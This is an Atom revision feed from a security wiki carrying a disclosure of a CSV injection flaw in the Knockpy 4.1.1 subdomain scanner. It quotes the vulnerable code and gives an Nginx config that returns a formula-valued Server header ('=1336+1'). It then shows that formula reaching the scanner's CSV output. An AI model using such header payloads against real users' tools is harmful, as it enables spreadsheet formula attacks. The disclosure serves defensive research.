<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Knockpy_4.1.1_CSV%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E</id>
	<title>Knockpy 4.1.1 CSV注入漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Knockpy_4.1.1_CSV%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Knockpy_4.1.1_CSV%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-21T01:19:38Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Knockpy_4.1.1_CSV%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E&amp;diff=1304&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; # Exploit Title: Knockpy 4.1.1 - CSV Injection # Author: Dolev Farhi # Date: 2020-12-29 # Vendor Homepage: https://github.com/guelfoweb/knock # Version : 4.1.1 #...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Knockpy_4.1.1_CSV%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E&amp;diff=1304&amp;oldid=prev"/>
		<updated>2021-04-09T08:48:35Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; # Exploit Title: Knockpy 4.1.1 - CSV Injection # Author: Dolev Farhi # Date: 2020-12-29 # Vendor Homepage: https://github.com/guelfoweb/knock # Version : 4.1.1 #...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: Knockpy 4.1.1 - CSV Injection&lt;br /&gt;
# Author: Dolev Farhi&lt;br /&gt;
# Date: 2020-12-29&lt;br /&gt;
# Vendor Homepage: https://github.com/guelfoweb/knock&lt;br /&gt;
# Version : 4.1.1&lt;br /&gt;
# Tested on: Debian 9.13&lt;br /&gt;
&lt;br /&gt;
Knockpy, as part of its subdomain brute forcing flow of a remote domain, issues a HEAD request to the server to fetch details such as headers, status code, etc.&lt;br /&gt;
The data then gets reflected when issuing the -c flag to store as a CSV file with the Server HTTP Response Header unfiltered.&lt;br /&gt;
&lt;br /&gt;
Vulnerable code segment(s)&lt;br /&gt;
&lt;br /&gt;
# knockpy.py&lt;br /&gt;
&lt;br /&gt;
# row = ip+'\t'+str(data['status'])+'\t'+'host'+'\t'+str(data['hostname'])+get_tab(data['hostname'])+str(server_type)&lt;br /&gt;
# subdomain_csv_list.append(ip+','+str(data['status'])+','+'host'+','+str(data['hostname'])+','+str(server_type))&lt;br /&gt;
&lt;br /&gt;
# modules/save_report.py&lt;br /&gt;
&lt;br /&gt;
# if fields:&lt;br /&gt;
#  csv_report += 'ip,status,type,domain_name,server\n'&lt;br /&gt;
# for item in report:&lt;br /&gt;
#  csv_report += item + '\n'&lt;br /&gt;
# report = csv_report&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1. Example malicious Nginx config to return CSV formula headers:&lt;br /&gt;
&lt;br /&gt;
http {&lt;br /&gt;
...    &lt;br /&gt;
  server_tokens off;&lt;br /&gt;
  more_set_headers 'Server: =1336+1';&lt;br /&gt;
...&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
2. Tester runs Knoockpy&lt;br /&gt;
root@host:~/# python knockpy/knockpy.py -c test.local&lt;br /&gt;
&lt;br /&gt;
+ checking for virustotal subdomains: SKIP&lt;br /&gt;
	VirusTotal API_KEY not found&lt;br /&gt;
+ checking for wildcard: NO&lt;br /&gt;
+ checking for zonetransfer: NO&lt;br /&gt;
+ resolving target: YES&lt;br /&gt;
- scanning for subdomain...&lt;br /&gt;
&lt;br /&gt;
Ip Address	Status	Type	Domain Name			Server&lt;br /&gt;
----------	------	----	-----------			------&lt;br /&gt;
127.0.0.1       200     host    appserver.test.local		=1336+1&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
CSV result&lt;br /&gt;
&lt;br /&gt;
root@host:~/# cat test_local.csv&lt;br /&gt;
127.0.0.1,200,host,appserver.test.local,=1336+1&lt;br /&gt;
127.0.0.1,200,host,www.test.local,=1336+1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>